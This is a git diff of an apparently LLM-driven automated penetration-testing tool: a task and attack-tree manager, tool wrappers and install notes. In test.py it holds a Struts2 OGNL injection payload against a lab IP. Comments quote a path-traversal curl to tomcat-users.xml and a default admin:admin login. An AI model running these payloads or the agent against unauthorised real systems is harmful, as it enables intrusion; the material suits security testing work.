return False,"该节点的待执行任务数据不正确,请联系管理员!"
else:
if node.bwork:
await self.put_instr_mq_async(node) #提交执行
elif not node.is_llm_empty(): #待提交llm有值
if not node.is_instr_empty():
self.logger.error(f"{node.path}即存在待执行指令,还存在待提交的llm,需要人工介入!!")
return False, "该节点的待执行任务数据不正确,请联系管理员!"
else:
if node.bwork:
await self.put_llm_mq_async(node) #提交执行
else:
await self.update_node_work_status_async(node,0) #只是修补措施,保障状态的一致性
return False,"当前节点没有待执行任务!"
return True,"已提交单步任务"
else:
return False,"当前的任务或节点状态不允许执行单步,请检查!"
#web端提交任务单步--任务单步
async def put_one_task(self):
if self.task_status == 1 and self.work_type == 0:
nodes = self.attack_tree.traverse_bfs()
for node in nodes:
await self.put_one_node(node)
return True,"已提交单步任务"
else:
return False,"当前的任务状态不允许执行单步,请检查!"
#修改节点的执行状态,并需要基于websocket推送到前端显示 同步线程调用
def update_node_work_status(self,node,work_status):
#更新状态
bchange = node.update_work_status(work_status)
#基于websocket推送到前端
if bchange:
#判断是否是web端最新获取数据的task
if self.taskM.web_cur_task == self.task_id:
idatatype = 1
strdata = {"node_path":node.path,"node_workstatus":work_status}
asyncio.run(g_WSM.send_data(idatatype,strdata))
#获取本次的提交提示词
def get_llm_prompt(self,llm_type,str_res,user_Prompt):
if llm_type == 0:
ext_Prompt = f'''
初始信息{str_res}
任务请开始对该目标的渗透测试工作
'''
elif llm_type == 1: # 提交指令执行结果 --- 正常提交
# 构造本次提交的prompt
ext_Prompt = f'''
上一步结果{str_res}
任务生成下一步渗透测试指令或判断是否完成该节点测试
'''
elif llm_type == 2: # llm返回的指令存在问题,需要再次请求返回
ext_Prompt = f'''
反馈类型节点指令格式错误
错误信息{str_res}
任务请按格式要求重新生成该节点上一次返回中生成的所有指令
'''
elif llm_type ==3: #对节点没有指令的,请求指令
ext_Prompt = f'''
任务{str_res}
'''
elif llm_type == 5:
ext_Prompt = f'''
反馈类型测试指令格式错误
错误信息{str_res}
任务请根据格式要求重新生成该测试指令
'''
else:
self.logger.debug("意外的类型参数")
return ""
user_Prompt = user_Prompt + ext_Prompt
return user_Prompt
#添加子节点
def add_children_node(self,parent_node,children_names,cur_node,status="未完成"):
for child_name in children_names:
bfind = False
for node_child in parent_node.children:
if node_child.name == child_name:
bfind = True #有重复的了
break
if not bfind:
# 添加节点
new_node = TreeNode(child_name, parent_node.task_id, status)
parent_node.add_child(new_node,cur_node.messages) # message的传递待验证
#处理节点指令
def tree_manager(self,node_cmds,node,commands,DBM):
'''更新渗透测试树
node_cmds是json-list
2025-03-22添加commands参数用于处理LLM对同一个节点返回了测试指令但还返回了no_instruction节点指令
'''
if not node_cmds: # or len(node_cmds)==0: 正常not判断就可以有没有节点指令
return True,commands,0
#对节点指令进行校验
bok,strerror = g_CV.verify_node_cmds(node_cmds)
if not bok: #节点指令存在问题,则不进行后续处理,提交一个错误反馈任务
# 提交llm待处理任务
self.put_node_reslist(node, strerror, 2)
return False,commands,0
residue_node_cmds = []
no_instr_nodes = []
#如果有on_instruction,先补全指令保障信息链的完整
for node_cmd in node_cmds:
action = node_cmd["action"]
if action == "no_instruction":
node_names = node_cmd["nodes"].split(',')
for node_name in node_names:
# 先判断是否在测试指令中,若在则不提交llm任务,只能接受在一次返回中同一节点有多条测试指令,不允许分次返回
bcommand = False
for com in commands:
if node_name in com:
bcommand = True
break
if bcommand: # 如果存在测试指令,则不把该节点放入补充信息llm任务---尝试不对比是否有返回指令,DS会一直返回指令,还返回on_instruction
continue
no_instr_nodes.append(node_name)
else:#剩余的节点指令
residue_node_cmds.append(node_cmd)
if no_instr_nodes: # 阻塞式,在当前节点提交补充信息,完善节点指令 -- 优势是省token
new_commands = self.get_other_instruction(no_instr_nodes, DBM, node)
commands.extend(new_commands)
# #对节点数据进行初步验证
# ad_instr_nodes, no_add_nodes = g_CV.verify_node_data(node_cmds)
# if no_add_nodes:#如果有没有添加的节点,默认在当前节点下添加 -- 一般不会有,还没遇到
# self.add_children_node(node,no_add_nodes,node)
# #ad_instr_nodes --- 还没处理
#先执行add_node操作---2025-4-12-调整:message取当前节点,节点允许为子节点添加子节点
iadd_node = 0
residue_cmd_sno_add_= []
for node_json in residue_node_cmds:
action = node_json["action"]
if action == "add_node": # 新增节点
parent_node_name = node_json["parent"]
status = "未完成" #2025-4-11修改MGS-节点指令格式,取消了status
node_names = node_json["nodes"].split(',')
# 新增节点原则上应该都是当前节点增加子节点
if node.name == parent_node_name or parent_node_name.endswith(node.name): #2233ai,节点名称字段会返回整个路径
#添加当前节点的子节点 -- 这是标准情况
self.add_children_node(node, node_names,node)
iadd_node += len(node_names) # 添加节点的数量---当前只记录给当前节点添加的子节点的数量
elif node.parent.name == parent_node_name or parent_node_name.endswith(node.parent.name):#添加当前节点的平级节点
#是添加当前节点的平级节点(当前节点的父节点下添加子节点) --使用2233ai-o3时遇到的情况
self.add_children_node(node.parent,node_names,node)
else:
badd = False
for child_node in node.children:#给子节点添加子节点
if parent_node_name == child_node.name or parent_node_name.endswith(child_node.name):
badd = True
self.add_children_node(child_node,node_names,node)
break
if not badd:
self.logger.error(f"添加子节点时,遇到父节点名称没有找到的,需要介入!!{node_json}") # 丢弃该节点
else:#未处理的节点指令添加到list
residue_cmd_sno_add_.append(node_json)
if iadd_node and self.taskM.web_cur_task == self.task_id: #如果新增了节点,且该节点树是当前查看的数据,需要通知前端更新数据
idatatype = 2
strdata = "update accack_tree!"
asyncio.run(g_WSM.send_data(idatatype, strdata))
#先取消当前task,已经通知前端重新获取,这样可以避免后端不必要的数据推送
self.taskM.web_cur_task = 0
#执行剩余的节点指令--不分先后
for node_json in residue_cmd_sno_add_:#2025-4-11重新调整了节点指令格式定义
action = node_json["action"]
if action == "find_vul":
node_name = node_json["node"]
vul_node = None
if node.name == node_name or node_name.endswith(node.name): #正常应该是当前节点漏洞信息--暂时只考虑只会有一个漏洞
vul_node = node
else: #匹配子节点
for child in node.children:
if child.name == node_name or node_name.endswith(child.name):
vul_node = node
break
if vul_node: #找到对应了漏洞节点
try:
vul_node.vul_type = node_json["vulnerability"]["name"]
vul_node.vul_grade = node_json["vulnerability"]["risk"]
vul_node.vul_info = node_json["vulnerability"]["info"]
#保存到数据库
DBM.insert_taks_vul(self.task_id,vul_node.name,vul_node.path,vul_node.vul_type,vul_node.vul_grade,
vul_node.vul_info)
except:
self.logger.error("漏洞信息错误")
continue
else:
str_user = f"遇到不是修改本节点状态的,需要介入!!{node_json}"
self.logger.error(str_user)
elif action == "end_work":
node_name = node_json["node"]
if node.name == node_name or node_name.endswith(node_name): # 正常应该是当前节点
node.status = "已完成"
else:
str_user = f"遇到不是修改本节点状态的,需要介入!!{node_json}"
self.logger.error(str_user)
elif action == "no_create": #提交人工确认
nodes = node_json["nodes"]
if nodes:
str_add = {"未新增的节点": nodes}
self.logger.debug(str_add)
# 提交一个继续反馈任务--继续后续工作 2025-3-25不自动处理
# self.put_one_llm_work(str_add, node, 4)
# self.logger.debug(f"未新增的节点有:{nodes}")
else:
self.logger.error("****不应该执行到这!程序逻辑存在问题!")
return True,commands,iadd_node
#阻塞轮询补充指令
def get_other_instruction(self,nodes,DBM,cur_node):
res_str = ','.join(nodes)
new_commands = []
while res_str:
self.logger.debug(f"开始针对f{res_str}这些节点请求测试指令")
user_Prompt = f'''
当前分支路径{cur_node.path}
当前节点信息
- 节点名称{cur_node.name}
- 节点状态{cur_node.status}
- 漏洞类型{cur_node.vul_type}
反馈类型需要补充以下子节点的测试指令:{res_str}
任务
1.请生成这些子节点的测试指令,注意不要生成重复的测试指令
2.这些节点的父节点为当前节点请正确生成这些节点的节点路径
3.只有当还有节点未能生成测试指令或不完整时才返回未生成指令的节点列表
'''
res_str = ""
#node_cmds, commands = self.LLM.get_llm_instruction(user_Prompt, DBM, cur_node) # message要更新
node_cmds, commands, reasoning_content, content, post_time = self.LLM.get_llm_instruction(user_Prompt,
cur_node) # message要更新
# LLM记录存数据库
cur_node.llm_sn += 1
bres = DBM.insert_llm(self.task_id, user_Prompt, reasoning_content, content, post_time, cur_node.llm_sn,cur_node.path)
if not bres:
self.logger.error(f"{cur_node.name}-llm入库失败!")
#把返回的测试指令进行追加
new_commands.extend(commands)
#判断是否还有未添加指令的节点
for node_json in node_cmds: #正常应该只有一条no_instruction --暂时只处理
if "no_instruction" in node_json and "nodes" in node_json:
tmp_nodes = []
node_names = node_json["nodes"].split(',')
for node_name in node_names:
if node_name in nodes:
tmp_nodes.append(node_name)
res_str = ','.join(tmp_nodes)
break
self.logger.debug("未添加指令的节点,都已完成指令的添加!")
return new_commands
def start_task(self,task_id,task_status=1,attack_tree=None):
self.task_id = task_id
'''
启动该测试任务
'''
#判断目标合法性
# bok,target,type = self.TargetM.validate_and_extract(self.target) #是否还需要判断待定?
# if not bok:
# return False, "{target}检测目标不合规,请检查!"
#初始化节点树
if attack_tree:#有值的情况是load
self.attack_tree =attack_tree
#加载未完成的任务
if self.work_type ==1:#自动模式
#提交到mq,待线程执行
self.put_work_node()
else: #无值的情况是new_create
root_node = TreeNode(self.target, self.task_id) #根节点
self.attack_tree = AttackTree(root_node) #创建测试树,同时更新根节点相关内容
self.LLM.build_initial_prompt(root_node) #对根节点初始化system-msg
#插入一个user消息
# 提交第一个llm任务,开始工作
know_info = f"本测试主机的IP地址为:{self.local_ip}"
if self.cookie:
know_info = know_info + f",本站点的cookie值为{self.cookie}"
self.put_node_reslist(root_node,know_info,0) #入待提交list
#初始保存个attack_tree文件
g_PKM.WriteData(self.attack_tree,str(self.task_id))
#启动工作线程
self.task_status = task_status
self.brun = True #线程正常启动
#启动指令工作线程
for i in range(self.max_thread_num):
w_th = threading.Thread(target=self.do_worker_th,args=(i,))
w_th.start()
self.workth_list[i] = w_th
#启动llm提交线程--llm暂时单线程,多线程处理时attack_tree需要加锁
for j in range(self.llm_max_nums):
l_th = threading.Thread(target=self.th_llm_worker,args=(j,))
l_th.start()
self.llmth_list[j]=l_th
#启动自检线程
self.check_th = threading.Thread(target=self.th_check)
self.check_th.start()
def stop_task(self): #还未处理
self.brun = False
self.InstrM.init_data()
#结束任务需要收尾处理#?
if __name__ == "__main__":
pass

49
mycode/WebSocketManager.py

@ -0,0 +1,49 @@
import json
import struct
from quart import websocket
class WebSocketManager:
def __init__(self):
self.ws_clients={}
async def register(self, user_id, ws_proxy):
ws = ws_proxy._get_current_object() # 获取代理背后的真实对象
self.ws_clients[user_id] = ws
async def unregister(self, user_id=0):
if user_id in self.ws_clients:
del self.ws_clients[user_id]
print(f"{user_id}-socket退出")
def create_binary_error_message(self,error_text, idatatype=0):
# 将错误信息包装成 JSON
body = json.dumps({"error": error_text}).encode('utf-8')
idata_len = len(body)
# 构造数据头:固定字符串 "TFTF",后面 8 字节分别为 idatatype 和 idata_len (使用大端字节序)
header = b"TFTF" + struct.pack("!II", idatatype, idata_len)
return header + body
async def send_data(self,idatatype,data,user_id=0):
"""
发送数据格式
- 固定 4 字节"TFTF"ASCII
- 接下来 8 字节为数据头包含两个无符号整数每个 4 字节分别为 idatatype idata_len
- 最后 idata_len 字节为数据体JSON字符串数据体中包含 node_path node_workstatus
"""
if user_id not in self.ws_clients:
return
ws = self.ws_clients[user_id]
# 将 data 转换为 JSON 字符串并转换为字节
body = json.dumps(data).encode('utf-8')
idata_len = len(body)
# 使用 struct.pack 构造数据头(大端字节序)
header = b"TFTF" + struct.pack("!II", idatatype, idata_len)
message = header + body
try:
await ws.send(message)
except Exception as e:
print(f"发送失败: {e}")
await self.unregister(user_id) # 异常时自动注销连接
g_WSM = WebSocketManager()

10
myutils/MyTime.py

@ -10,3 +10,13 @@ def get_local_timestr() -> str:
struct_time = time.localtime(timestamp) # 本地时区时间‌:ml-citation{ref="3,5" data="citationList"} struct_time = time.localtime(timestamp) # 本地时区时间‌:ml-citation{ref="3,5" data="citationList"}
formatted_time = time.strftime("%Y-%m-%d %H:%M:%S",struct_time) formatted_time = time.strftime("%Y-%m-%d %H:%M:%S",struct_time)
return formatted_time return formatted_time
if __name__ =="__main__":
list_text = []
if not list_text:
list_text.append("111")
else:
list_text[0]= "111"
print(list_text)

53
myutils/PickleManager.py

@ -0,0 +1,53 @@
import pickle
import threading
import os
from myutils.ConfigManager import myCongif
class PickleManager:
def __init__(self):
self.lock = threading.Lock() # 线程锁
self.tree_file = myCongif.get_data("TreeFile")
def getfile_path(self,filename=""):
filepath = self.tree_file
if filename:
filepath = "tree_data/"+filename
return filepath
def WriteData(self,attack_tree,filename=""):
filepath = self.getfile_path(filename)
with self.lock:
with open(filepath, 'wb') as f:
pickle.dump(attack_tree, f)
def ReadData(self,filename=""):
attack_tree = None
filepath = self.getfile_path(filename)
with self.lock:
with open(filepath, "rb") as f:
attack_tree = pickle.load(f)
return attack_tree
def DelData(self,filename=""):
filepath = self.getfile_path(filename)
#删除文件
try:
os.remove(filepath)
return True
except FileNotFoundError:
# 文件不存在
return True
except PermissionError:
# 没有删除权限/文件被占用
return False
except IsADirectoryError:
# 路径指向的是目录而非文件
return False
except Exception as e:
# 其他未知错误(如路径非法、存储介质故障等)
print(f"删除文件时发生意外错误: {str(e)}")
return False
g_PKM = PickleManager()

23
pipfile

@ -20,6 +20,21 @@ pip install psycopg2 -i https://pypi.tuna.tsinghua.edu.cn/simple/
cd /usr/share/wordlists/ cd /usr/share/wordlists/
gzip -d rockyou.txt.gz gzip -d rockyou.txt.gz
pip install dirsearch -i https://pypi.tuna.tsinghua.edu.cn/simple/
apt install sshpass
#----gittools----
# 克隆 GitTools 仓库
git clone https://github.com/internetwache/GitTools.git
# 进入工具目录
cd GitTools/Dumper/
# 赋予脚本执行权限
chmod +x gitdumper.sh
# 将工具链接到系统路径(可选,方便全局调用)
sudo ln -s $(pwd)/gitdumper.sh /usr/local/bin/gitdumper
#searchsploit -u 更新漏洞信息 #searchsploit -u 更新漏洞信息
#-----------------web相关------------------- #-----------------web相关-------------------
pip install quart -i https://pypi.tuna.tsinghua.edu.cn/simple pip install quart -i https://pypi.tuna.tsinghua.edu.cn/simple
@ -30,6 +45,12 @@ pip install quart-cors -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install pymemcache -i https://pypi.tuna.tsinghua.edu.cn/simple pip install pymemcache -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install quart-sqlalchemy -i https://pypi.tuna.tsinghua.edu.cn/simple pip install quart-sqlalchemy -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install pillow -i https://pypi.tuna.tsinghua.edu.cn/simple pip install pillow -i https://pypi.tuna.tsinghua.edu.cn/simple
#redis--session使用redis缓存--kali
pip install redis aioredis -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install quart-session -i https://pypi.tuna.tsinghua.edu.cn/simple
systemctl start redis-server
systemctl enable redis-server
---arial.ttf字体--- ---arial.ttf字体---
@ -37,4 +58,6 @@ sudo apt-get install ttf-mscorefonts-installer
sudo fc-cache -fv #更新字体缓存 sudo fc-cache -fv #更新字体缓存
fc-match Arial #验证安装 fc-match Arial #验证安装
----python2------

20
main.py → run.py

@ -1,7 +1,6 @@
import asyncio import asyncio
import uvicorn
import TaskManager
import os import os
from mycode.TaskManager import g_TaskM
from web import create_app from web import create_app
from hypercorn.asyncio import serve from hypercorn.asyncio import serve
from hypercorn.config import Config from hypercorn.config import Config
@ -10,20 +9,21 @@ async def run_quart_app():
app = create_app() app = create_app()
config = Config() config = Config()
config.bind = ["0.0.0.0:5001"] config.bind = ["0.0.0.0:5001"]
config.use_reloader = True # 启用热重载
config.reload_include_patterns = ["*.py", "templates/*", "static/*"] # 监控模板和静态文件
await serve(app, config) await serve(app, config)
#对某个目标进行测试
def startWork(targets): #-------------------测试相关----------------------
TaskM = TaskManager()
tlist = targets.split(',')
for target in tlist:
TaskM.start_task(target)
# Press the green button in the gutter to run the script. # Press the green button in the gutter to run the script.
if __name__ == '__main__': if __name__ == '__main__':
print(f"Current working directory (run.py): {os.getcwd()}") print(f"Current working directory (run.py): {os.getcwd()}")
#启动web项目 #加载未完成的工作继续执行
g_TaskM.load_tasks()
#启动web项目--hypercorn
asyncio.run(run_quart_app()) asyncio.run(run_quart_app())
uvicorn.run("run:app", host="0.0.0.0", port=5001, workers=4, reload=True) #Uvicom启动
#uvicorn.run("run:app", host="0.0.0.0", port=5001, workers=4, reload=True)

175
test.py

@ -7,75 +7,134 @@ import struct
import sys import sys
import mysql.connector import mysql.connector
import requests import requests
from mycode.LLMManager import LLMManager
from mycode.TaskObject import TaskObject
from myutils.PickleManager import g_PKM
from mycode.InstructionManager import g_instrM
from mycode.TaskManager import g_TaskM
from mycode.PythonTManager import PythonTManager
from myutils.ConfigManager import myCongif
import textwrap
class Mytest:
def update_node_inter(self,attack_index):
attack_tree = g_PKM.ReadData(attack_index)
nodes = attack_tree.traverse_dfs()
# 06-0=>p
instr = nodes[6].get_instr_user().pop(0)
nodes[6].parent.get_instr_user().append(instr)
# 39-1
instr = nodes[39].get_instr_user().pop(1)
nodes[39].parent.get_instr_user().append(instr)
# 49-0
instr = nodes[49].get_instr_user().pop(0)
nodes[49].parent.get_instr_user().append(instr)
def do_worker(str_instruction): g_PKM.WriteData(attack_tree, attack_index)
try:
# 使用 subprocess 执行 shell 命令
result = subprocess.run(str_instruction, shell=True, text=True,capture_output=True)
return {
"returncode": result.returncode,
"stdout": result.stdout,
"stderr": result.stderr
}
except Exception as e:
return {"error": str(e)}
def do_worker_ftp_pexpect(str_instruction): if __name__ == "__main__":
# 解析指令 # 示例使用
lines = str_instruction.strip().split('\n') mytest = Mytest()
cmd_line = lines[0].split('<<')[0].strip() # 提取 "ftp -n 192.168.204.137" LLM = LLMManager(1)
inputs = [line.strip() for line in lines[1:] if line.strip() != 'EOF'] PythonM = PythonTManager(myCongif.get_data("Python_max_procs"))
current_path = os.path.dirname(os.path.realpath(__file__))
print(current_path)
test_type = 1
task_id = 16
task_Object = TaskObject("test_target","cookie_info",1,1,1,"local_ip",None)
# 使用 pexpect 执行命令 if test_type == 1:
child = pexpect.spawn(cmd_line) # # 获取所有自定义函数详情 HIGH_RISK_FUNCTIONS = ['eval', 'exec', 'os.system', 'subprocess.call', 'subprocess.Popen']
for input_line in inputs: str_instr = '''python-code
child.expect('.*') # 等待任意提示 import requests
child.sendline(input_line) # 发送输入
child.expect(pexpect.EOF) # 等待命令结束
output = child.before.decode() # 获取输出
child.close()
return output
def do_worker_ftp_script(str_instruction): def dynamic_fun():
# 创建临时文件保存输出 # 基于布尔条件的盲注检测
with tempfile.NamedTemporaryFile(delete=False) as tmpfile: true_condition = "'test'=='test'"
output_file = tmpfile.name false_condition = "'test'=='wrong'"
# 构建并执行 script 命令 payload_template = (
script_cmd = f"script -c '{str_instruction}' {output_file}" "%{(#_='multipart/form-data')."
result = subprocess.run(script_cmd, shell=True, text=True) "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
"(#_memberAccess?(#_memberAccess=#dm):"
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])"
".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))"
".(#ognlUtil.getExcludedPackageNames().clear())"
".(#ognlUtil.getExcludedClasses().clear())"
".(#context.setMemberAccess(#dm))))."
f"(#result=@java.lang.Boolean@parseBoolean({{}}))}}"
)
# 读取输出文件内容 try:
with open(output_file, 'r') as f: # 发送真条件请求
output = f.read() true_payload = payload_template.format(true_condition)
r_true = requests.get(
'http://192.168.204.137',
headers={'Content-Type': true_payload},
timeout=10
)
# 删除临时文件 # 发送假条件请求
os.remove(output_file) false_payload = payload_template.format(false_condition)
return output r_false = requests.get(
'http://192.168.204.137',
headers={'Content-Type': false_payload},
timeout=10
)
# 对比响应差异
if r_true.status_code != r_false.status_code:
return (True, f'Different status codes detected (True: {r_true.status_code} vs False: {r_false.status_code})')
import socket if len(r_true.content) != len(r_false.content):
import ssl return (True, f'Content length difference detected (True: {len(r_true.content)} vs False: {len(r_false.content)})')
return (False, 'No observable differences between true/false conditions')
def dynamic_fun():
try:
host = "58.216.217.70"
port = 992
# Create a socket and wrap it with SSL context since service is SSL/Telnet
context = ssl.create_default_context()
sock = socket.create_connection((host, port), timeout=5)
ssl_sock = context.wrap_socket(sock, server_hostname=host)
# Attempt to receive banner
banner = ssl_sock.recv(1024)
ssl_sock.close()
return (True, banner.decode("utf-8", errors="ignore"))
except Exception as e: except Exception as e:
return (False, str(e)) return (False, f'Request failed: {str(e)}')
'''
#str_instr = str_instr.strip() + " --max-time 10"
dedented_code = textwrap.dedent(str_instr.strip())
#对多shell指令的情况进行处理--也有风险
if "python-code" not in dedented_code:
if "&&" in dedented_code:
dedented_code = task_Object.mill_instr_preprocess(dedented_code, "&&")
elif "||" in dedented_code:
dedented_code = task_Object.mill_instr_preprocess(dedented_code, "||")
instr, reslut, source_result, ext_params = g_instrM.execute_instruction(dedented_code)
else:
instr, reslut, source_result, ext_params = PythonM.execute_instruction(dedented_code)
print("----执行结果----")
print(reslut)
elif test_type == 2: #给节点添加指令
g_TaskM.load_tasks()
task = g_TaskM.tasks[task_id]
nodes = task.attack_tree.traverse_dfs()
cur_node = nodes[78]
commands = [
]
for cmd in commands:
cur_node.add_instr(cmd)
cur_node.update_work_status(1)
#保存数据
g_PKM.WriteData(task.attack_tree,str(task.task_id))
elif test_type ==3: #按格式读取指令
pass
elif test_type == 4: # 修改Messages
attact_tree = g_PKM.ReadData("6")
# 创建一个新的节点
from mycode.AttackMap import TreeNode
if __name__ == "__main__": testnode = TreeNode("test", 0)
# 示例使用 LLM.build_initial_prompt(testnode) # 新的Message
bok,res = dynamic_fun() systems = testnode.messages[0]["content"]
print(bok,res) # print(systems)
# 遍历node,查看有instr的ndoe
nodes = attact_tree.traverse_bfs()
for node in nodes:
node.messages[0]["content"] = systems
g_PKM.WriteData(attact_tree, "6")
print("完成Messgae更新")
else:
pass

11
tools/ArpingTool.py

@ -0,0 +1,11 @@
from tools.ToolBase import ToolBase
class ArpingTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

86
tools/CurlTool.py

@ -12,60 +12,43 @@ class CurlTool(ToolBase):
# self.url = None # self.url = None
# self.verify_ssl = True # self.verify_ssl = True
#解析指令到requests def get_time_out(self):
def parse_curl_to_requests(self,curl_command): return 60*5
# Split command preserving quoted strings
parts = shlex.split(curl_command)
if parts[0] != 'curl':
raise ValueError("Command must start with 'curl'")
# Parse curl flags and arguments
i = 1
while i < len(parts):
arg = parts[i]
if arg == '-k' or arg == '--insecure':
self.verify_ssl = False
i += 1
elif arg == '-s' or arg == '--silent':
# Silencing isn't needed for requests, just skip
i += 1
elif arg == '-H' or arg == '--header':
if i + 1 >= len(parts):
raise ValueError("Missing header value after -H")
header_str = parts[i + 1]
header_name, header_value = header_str.split(':', 1)
self.headers[header_name.strip()] = header_value.strip()
i += 2
elif not arg.startswith('-'):
if self.url is None:
self.url = arg
i += 1
else:
i += 1
if self.url is None:
raise ValueError("No URL found in curl command")
#return url, headers, verify_ssl
def validate_instruction(self, instruction_old): def validate_instruction(self, instruction_old):
#instruction = instruction_old #instruction = instruction_old
#指令过滤 #指令过滤
timeout = 0 timeout = 0 #curl指令遇到不返回的情况 curl --path-as-is -i http://192.168.204.137:8180/webapps/../conf/tomcat-users.xml
#添加-i 返回信息头 #添加-i 返回信息头
parts = instruction_old.split()
if 'base64 -d' in instruction_old: if 'base64 -d' in instruction_old:
return instruction_old return instruction_old
if "-I" not in parts:#-I 仅输出响应头信息
if '-i' not in parts and '--include' not in parts: # 如果指令中含有管道,将第一部分(即 curl 命令)单独处理,再拼接回去
url_index = next((i for i, p in enumerate(parts) if p.startswith(('http://', 'https://'))), None) parts = instruction_old.split('|') #grep情况处理
first_cmd = parts[0].strip() # 第一条命令
# 分割成单词列表便于处理参数
curl_parts = first_cmd.split()
# 如果第一条命令是 curl,则进行处理
if curl_parts and curl_parts[0] == "curl": #只是处理了第一个curl
# 判断是否需要添加包含响应头的选项:若没有 -I、-i 或 --include,则在 URL前插入 -i
if "-I" not in curl_parts and '-i' not in curl_parts and '--include' not in curl_parts:
# 查找以 http:// 或 https:// 开头的 URL 参数所在位置
url_index = next((i for i, p in enumerate(curl_parts)
if p.startswith('http://') or p.startswith('https://')), None)
if url_index is not None: if url_index is not None:
# 在URL前插入 -i 参数‌:ml-citation{ref="1" data="citationList"} curl_parts.insert(url_index, '-i')
parts.insert(url_index, '-i')
else: else:
# 无URL时直接在末尾添加 curl_parts.append('-i')
parts.append('-i')
return ' '.join(parts),timeout # 判断是否已经有 --max-time 参数
if not any(p.startswith("--max-time") for p in curl_parts):
curl_parts.append("--max-time")
curl_parts.append(str(self.get_time_out())) #添加超时时间
# 将第一部分命令重组
parts[0] = ' '.join(curl_parts)
# 将所有部分重新用 | 拼接起来(保留管道符号两边的空格)
final_instruction = ' | '.join(part.strip() for part in parts)
return final_instruction, timeout
def get_ssl_info(self,stderr,stdout): def get_ssl_info(self,stderr,stdout):
# -------------------------- # --------------------------
@ -244,6 +227,7 @@ class CurlTool(ToolBase):
#转换成字符串 #转换成字符串
result = json.dumps(info,ensure_ascii=False) result = json.dumps(info,ensure_ascii=False)
result = result+"\n结果已经被格式化提取,若需要查看其他内容,可以添加grep参数后返回指令。"
#print(result) #print(result)
return result return result
@ -273,14 +257,14 @@ class CurlTool(ToolBase):
elif("resource=config.php" in instruction): elif("resource=config.php" in instruction):
if "base64: 无效的输入" in result: if "base64: 无效的输入" in result:
result="该漏洞无法利用" result="该漏洞无法利用"
elif("Date:" in instruction): #保留原结果
print("")
elif("-kv https://" in instruction or "-vk https://" in instruction): elif("-kv https://" in instruction or "-vk https://" in instruction):
result = self.get_ssl_info(stderr,stdout) result = self.get_ssl_info(stderr,stdout)
elif("-X POST " in instruction): elif("grep " in instruction or " -T " in instruction or "Date:" in instruction):
result = self.get_info_curl(instruction,stdout,stderr) return result
elif("-v " in instruction): #curl -v http://192.168.204.137:8180/manager/html --user admin:admin 常规解析curl返回内容 # elif("-X POST " in instruction):
result = self.get_info_curl(instruction,stdout,stderr) # result = self.get_info_curl(instruction,stdout,stderr)
# elif("-v " in instruction): #curl -v http://192.168.204.137:8180/manager/html --user admin:admin 常规解析curl返回内容
# result = self.get_info_curl(instruction,stdout,stderr)
else: else:
result = self.get_info_curl(instruction,stdout,stderr) result = self.get_info_curl(instruction,stdout,stderr)
return result return result

13
tools/DirSearchTool.py

@ -0,0 +1,13 @@
from tools.ToolBase import ToolBase
class DirSearchTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
if "-o " not in instruction or "--output=" not in instruction:
instruction += " -o ds_result.txt"
return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

4
tools/EchoTool.py

@ -4,6 +4,8 @@ class EchoTool(ToolBase):
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
#指令过滤 #指令过滤
timeout = 0 timeout = 0
if " nc " in instruction:
timeout = 60
return instruction,timeout return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):
@ -15,7 +17,7 @@ class EchoTool(ToolBase):
pass pass
else: else:
result ="不存在安全问题" result ="不存在安全问题"
else:#未预处理的情况,暂时不返回LLM else:
pass pass
return result return result

35
tools/FtpTool.py

@ -49,6 +49,11 @@ class FtpTool(ToolBase):
#若有put文件,则替换为payload文件 #若有put文件,则替换为payload文件
new_file = "payload/test.txt" new_file = "payload/test.txt"
new_instr = re.sub(r'(put\s+)\S+', r'\1' + new_file, instruction) new_instr = re.sub(r'(put\s+)\S+', r'\1' + new_file, instruction)
# # 指令过滤
# if "<<<" in instruction:
# new_instr = f"bash -c \"{new_instr.strip()}\""
return new_instr,timeout return new_instr,timeout
def do_worker_subprocess(self,str_instruction,timeout,ext_params): def do_worker_subprocess(self,str_instruction,timeout,ext_params):
@ -125,23 +130,23 @@ class FtpTool(ToolBase):
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#? # 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断 # 第二步:执行指令---需要对ftp指令进行区分判断
pattern = re.compile(r'ftp\s+-n\s+\S+(\s+\d+)?\s+<<\s*EOF')
match = pattern.search(instruction)
if bool(match): #如果是 ftp -n 192.168.204.137 <<EOF 开头
# output = self.do_worker_subprocess(instruction,time_out,ext_params)
# if not output:
output = self.do_worker_script(instruction, time_out, ext_params) output = self.do_worker_script(instruction, time_out, ext_params)
else: #最后使用ftp匿名登陆验证代码 # pattern = re.compile(r'ftp\s+-n\s+\S+(\s+\d+)?\s+<<\s*EOF')
target = "" # match = pattern.search(instruction)
for str in instruction_old.split(): # if bool(match): #如果是 ftp -n 192.168.204.137 <<EOF 开头
if self.is_ip_domain(str): # # output = self.do_worker_subprocess(instruction,time_out,ext_params)
target = str # # if not output:
# output = self.do_worker_script(instruction,time_out,ext_params)
if target: # else: #最后使用ftp匿名登陆验证代码
output = self.test_anonymous_ftp_login(target) # target = ""
else: # for str in instruction_old.split():
output = f"本地程序暂不支持该指令内容" # if self.is_ip_domain(str):
# target = str
# if target:
# output = self.test_anonymous_ftp_login(target)
# else:
# output = f"本地程序暂不支持该指令内容"
# 第三步:分析执行结果 # 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","") analysis = self.analyze_result(output,instruction,"","")

11
tools/GitdumperTool.py

@ -0,0 +1,11 @@
from tools.ToolBase import ToolBase
class GitdumperTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 60*2
return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout):
